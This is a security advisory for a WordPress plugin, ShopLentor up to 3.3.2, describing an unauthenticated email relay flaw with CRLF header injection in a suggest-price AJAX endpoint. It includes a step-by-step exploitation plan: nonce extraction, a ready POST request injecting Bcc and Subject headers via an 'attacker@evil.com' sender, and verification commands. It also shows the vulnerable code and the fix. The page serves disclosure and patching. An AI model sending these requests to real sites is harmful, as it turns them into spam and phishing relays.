ShopLentor <= 3.3.2 - Unauthenticated Email Relay Abuse via 'woolentor_suggest_price_action' AJAX Action
Description
The ShopLentor – WooCommerce Builder for Elementor & Gutenberg +21 Modules – All in One Solution plugin for WordPress is vulnerable to Email Relay Abuse in all versions up to, and including, 3.3.2 This is due to the lack of validation on the 'send_to', 'product_title', 'wlmessage', and 'wlemail' parameters in the 'woolentor_suggest_price_action' AJAX endpoint. This makes it possible for unauthenticated attackers to send arbitrary emails to any recipient with full control over the subject line, message content, and sender address (via CRLF injection in the 'wlemail' parameter), effectively turning the website into a full email relay for spam or phishing campaigns.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:NTechnical Details
<=3.3.2What Changed in the Fix
Changes introduced in v3.3.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1714 (ShopLentor Email Relay Abuse) ## 1. Vulnerability Summary The **ShopLentor (formerly WooLentor)** plugin for WordPress is vulnerable to **Unauthenticated Email Relay Abuse** due to an insecure implementation of the `woolentor_suggest_price_action` AJAX e…
Show full research plan
Exploitation Research Plan: CVE-2026-1714 (ShopLentor Email Relay Abuse)
1. Vulnerability Summary
The ShopLentor (formerly WooLentor) plugin for WordPress is vulnerable to Unauthenticated Email Relay Abuse due to an insecure implementation of the woolentor_suggest_price_action AJAX endpoint.
The plugin fails to sanitize and validate user-provided parameters (send_to, product_title, wlmessage, and wlemail) before passing them into the wp_mail() function. Specifically, the wlemail parameter is susceptible to CRLF Injection, allowing an attacker to inject arbitrary email headers (e.g., Bcc, Cc, Subject). This effectively turns the WordPress site into a spam relay, as an unauthenticated user can control the recipient, subject, body, and sender headers of emails sent by the server.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
woolentor_suggest_price_action - Method: POST
- Authentication: None required (available via
wp_ajax_nopriv_*) - Vulnerable Parameters:
send_to_mail: Primary recipient.wlemail: Sender email (Sink for CRLF injection).product_title: Often used in the Subject line.wlmessage: Email body.
- Preconditions: The "Suggest Price" module must be active (usually active by default in the free version).
3. Code Flow
- Entry Point: The
Woolentor_Ajax_Actionclass registers the AJAX action inclasses/class.ajax_actions.php:add_action( 'wp_ajax_woolentor_suggest_price_action', [$this, 'suggest_price'] ); add_action( 'wp_ajax_nopriv_woolentor_suggest_price_action', [$this, 'suggest_price'] ); - Nonce Verification: The
suggest_price()function first checks for a nonce:if ( !isset( $_POST['woolentor_suggest_price_nonce_field'] ) || !wp_verify_nonce( $_POST['woolentor_suggest_price_nonce_field'], 'woolentor_suggest_price_nonce' ) ) { ... } - Parameter Extraction: Input is pulled directly from
$_POST(Source):$send_to_mail = $_POST['send_to_mail']; $product_title = $_POST['product_title']; $wlemail = $_POST['wlemail']; $wlmessage = $_POST['wlmessage']; - Sink: The parameters are passed to
wp_mail(). If$wlemailis used to construct the$headersstring without sanitizing\r\n(CRLF) characters, an attacker can append new headers.
4. Nonce Acquisition Strategy
The nonce woolentor_suggest_price_nonce is required. It is typically localized for the frontend when the "Suggest Price" widget is active.
Strategy:
- Identify Widget Use: The widget name is
wl-product-suggest-price. - Setup: Create a page containing the Suggest Price widget. Since it's an Elementor widget, we can try to use its shortcode or Gutenberg equivalent if available.
- Extraction:
- Navigate to the page using
browser_navigate. - ShopLentor often localizes its data into a global JavaScript object. Based on plugin patterns, check for
woolentor_addons_scripts_optionsor similar. - JS Command:
browser_eval("window.woolentor_addons_scripts_options?.nonce")or check for the specific field IDwoolentor_suggest_price_nonce_field.
- Navigate to the page using
5. Exploitation Strategy
Step 1: Discover/Create Nonce
If the nonce isn't found on the homepage, create a temporary page to force the widget to load.
wp post create --post_type=page --post_title="Price Suggest" --post_status=publish --post_content='[wl-product-suggest-price]'
Note: If the shortcode is different, check includes/addons/wb_product_suggest_price.php for registration.
Step 2: Extract Nonce
Use browser_navigate to the new page and browser_eval to extract the value of the hidden input field woolentor_suggest_price_nonce_field.
Step 3: Execute Email Relay
Send a POST request to admin-ajax.php. We will use CRLF injection in wlemail to inject a Bcc header and a new Subject.
Payload Construction:
wlemail:attacker@evil.com\r\nBcc: victim1@spam.com, victim2@spam.com\r\nSubject: Critical Security Updatesend_to_mail:admin@target-site.com(to satisfy local logic)wlmessage:This is a relay test.
Request:
{
"method": "POST",
"url": "http://TARGET_URL/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "action=woolentor_suggest_price_action&woolentor_suggest_price_nonce_field=EXTRACTED_NONCE&send_to_mail=admin@target.com&product_title=RelayTest&wlname=Attacker&wlemail=attacker@evil.com%0D%0ABcc:victim@spam.com%0D%0ASubject:InjectedSubject&wlmessage=SpamContent"
}
6. Test Data Setup
- Plugin Installation: Ensure
woolentor-addonsversion <= 3.3.2 is installed. - Mail Logging: Install a plugin like "WP Mail Logging" to verify outgoing emails in the headless environment.
- Page Creation:
wp post create --post_type=page --post_status=publish --post_content='[wl-product-suggest-price]'
7. Expected Results
- The server should return a JSON success response:
{"success":true,"data":{"message":"..."}}. - The Mail Log (checked via WP-CLI) should show an email sent to
admin@target.combut with an additionalBccheader tovictim@spam.comand potentially theInjectedSubject.
8. Verification Steps
After the http_request, use WP-CLI to inspect the mail log:
# If WP Mail Logging is installed
wp db query "SELECT * FROM wp_wpml_mails ORDER BY id DESC LIMIT 1;"
Check the headers and receiver columns for evidence of the injected Bcc and modified Subject.
9. Alternative Approaches
If the CRLF injection in wlemail is blocked by server-level filters, attempt injection in product_title or send_to_mail. Some versions of wp_mail() are more sensitive to CRLF in the $to parameter than others.
If the nonce cannot be found via browser_eval, search the raw HTML response for:name="woolentor_suggest_price_nonce_field" value="([a-f0-9]{10})" using regex.
Summary
The ShopLentor plugin for WordPress is vulnerable to unauthenticated email relay abuse due to lack of validation on the 'send_to_mail' and other parameters in the 'woolentor_suggest_price_action' AJAX endpoint. Attackers can control the recipient, subject, and content of emails, and potentially inject additional headers via CRLF sequences, turning the site into a spam relay.
Vulnerable Code
// classes/class.ajax_actions.php (around line 173-181 in 3.3.2) $sent_to = $_POST['send_to']; $send_to_mail = $_POST['send_to_mail']; $product_title = $_POST['product_title']; $msg_success = $_POST['msg_success']; $msg_error = $_POST['msg_error']; $name = $_POST['wlname']; $email = sanitize_email( trim( $_POST['wlemail'] ) ); $message = wp_strip_all_tags($_POST['wlmessage']); --- // classes/class.ajax_actions.php (around line 209-242 in 3.3.2) $allowed_recipient = $send_to_mail; if ( $sent_to !== $allowed_recipient ) { $response['error'] = true; $response['message'] = esc_html__('Invalid recipient','woolentor'); wp_send_json_error( $response ); } // ... lines omitted ... $headers = [ 'Reply-To: ' . $email ]; $mail_sent_status = wp_mail( $allowed_recipient, $subject, $message, $headers ); --- // includes/addons/wb_product_suggest_price.php (line 910-911 in 3.3.2) <input type="hidden" name="send_to_mail" value="<?php echo esc_attr($settings['send_to_mail']); ?>">
Security Fix
@@ -153,96 +153,161 @@ 'error' => false, ]; + // Verify nonce if ( !isset( $_POST['woolentor_suggest_price_nonce_field'] ) || !wp_verify_nonce( $_POST['woolentor_suggest_price_nonce_field'], 'woolentor_suggest_price_nonce' ) ){ + $response['error'] = true; + $response['message'] = esc_html__('Sorry, your nonce verification failed.','woolentor'); + wp_send_json_error( $response ); + } + + // Get and validate form token (this links to server-stored recipient email) + $form_token = isset( $_POST['form_token'] ) ? sanitize_text_field( $_POST['form_token'] ) : ''; + if ( empty( $form_token ) ) { + $response['error'] = true; + $response['message'] = esc_html__('Invalid form submission.','woolentor'); + wp_send_json_error( $response ); + } + + // Retrieve recipient email from server-side storage (NOT from user input) + $stored_data = get_transient( 'woolentor_suggest_price_' . $form_token ); + if ( false === $stored_data || !is_array( $stored_data ) ) { + $response['error'] = true; + $response['message'] = esc_html__('Form session expired. Please refresh and try again.','woolentor'); + wp_send_json_error( $response ); + } + + // Get recipient from server-stored data (secure - not user controlled) + $allowed_recipient = isset( $stored_data['recipient_email'] ) ? sanitize_email( $stored_data['recipient_email'] ) : ''; + $stored_product_id = isset( $stored_data['product_id'] ) ? absint( $stored_data['product_id'] ) : 0; + + // Validate stored recipient + if ( empty( $allowed_recipient ) || ! is_email( $allowed_recipient ) ) { + // Fallback to admin email if stored email is invalid + $allowed_recipient = get_option( 'admin_email' ); + } + + // Get and validate product + $product_id = absint( $_POST['product_id'] ?? 0 ); + + // Verify product_id matches stored product_id (prevents manipulation) + if ( $product_id !== $stored_product_id ) { + $response['error'] = true; + $response['message'] = esc_html__('Invalid product.','woolentor'); + wp_send_json_error( $response ); + } + + $product = wc_get_product( $product_id ); + if ( ! $product ) { + $response['error'] = true; + $response['message'] = esc_html__('Invalid product.','woolentor'); + wp_send_json_error( $response ); + } + + // Get user messages from widget settings (stored server-side) + $msg_success = isset( $stored_data['msg_success'] ) ? sanitize_text_field( $stored_data['msg_success'] ) : esc_html__('Thank you for contacting us.','woolentor'); + $msg_error = isset( $stored_data['msg_error'] ) ? sanitize_text_field( $stored_data['msg_error'] ) : esc_html__('Something went wrong. Please try again.','woolentor'); + + // Validate sender's name + $name = isset( $_POST['wlname'] ) ? sanitize_text_field( $_POST['wlname'] ) : ''; + if ( empty( $name ) ) { $response['error'] = true; - $response['message'] = esc_html__('Sorry, your nonce verification fail.','woolentor'); + $response['message'] = esc_html__('Name is required.','woolentor'); + wp_send_json_error( $response ); + } + // Limit name length + if ( strlen( $name ) > 100 ) { + $name = substr( $name, 0, 100 ); + } + + // Validate sender's email (sanitize to prevent CRLF injection) + $email = isset( $_POST['wlemail'] ) ? sanitize_email( trim( $_POST['wlemail'] ) ) : ''; + if ( empty( $email ) ) { + $response['error'] = true; + $response['message'] = esc_html__('Email is required.','woolentor'); wp_send_json_error( $response ); + } + if ( ! is_email( $email ) ) { + $response['error'] = true; + $response['message'] = esc_html__('Invalid email address.','woolentor'); + wp_send_json_error( $response ); + } - }else{ + // Validate and sanitize message + $message = isset( $_POST['wlmessage'] ) ? wp_strip_all_tags( $_POST['wlmessage'] ) : ''; + if ( empty( $message ) ) { + $response['error'] = true; + $response['message'] = esc_html__('Message is required.','woolentor'); + wp_send_json_error( $response ); + } + // Limit message length to prevent abuse + if ( strlen( $message ) > 1000 ) { + $message = substr( $message, 0, 1000 ); + } + + // Build subject from actual product name (not user input) + $subject = sprintf( + /* translators: %s: Product name */ + esc_html__( 'Suggest Price For - %s', 'woolentor' ), + $product->get_name() + ); + + // Build email body with sender info + $email_body = sprintf( + /* translators: 1: Sender name, 2: Sender email, 3: Product name, 4: Message */ + esc_html__( "Name: %1\$s\nEmail: %2\$s\nProduct: %3\$s\n\nMessage:\n%4\$s", 'woolentor' ), + $name, + $email, + $product->get_name(), + $message + ); + + // Set headers with Reply-To (sanitized email prevents header injection) + $headers = [ + 'Reply-To: ' . $name . ' <' . $email . '>' + ]; + + // Send email to the server-stored recipient (NOT user-controlled) + $mail_sent_status = wp_mail( $allowed_recipient, $subject, $email_body, $headers );
Exploit Outline
1. Identify a public-facing page on the target site where the 'Suggest Price' (wl-product-suggest-price) widget is enabled. 2. Extract the 'woolentor_suggest_price_nonce' from the page source or localized JavaScript object. 3. Construct a POST request to '/wp-admin/admin-ajax.php' with the following parameters: 'action=woolentor_suggest_price_action', 'woolentor_suggest_price_nonce_field=[extracted_nonce]', and 'send_to_mail=[victim_email]'. 4. To abuse the relay for arbitrary headers or multiple recipients, include CRLF sequences (%0D%0A) in the 'wlemail' parameter to inject headers like 'Bcc:', 'Cc:', or a new 'Subject:'. 5. Submit the request unauthenticated. The plugin will use the server's mailing system to send the attacker-crafted email to the specified recipient.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.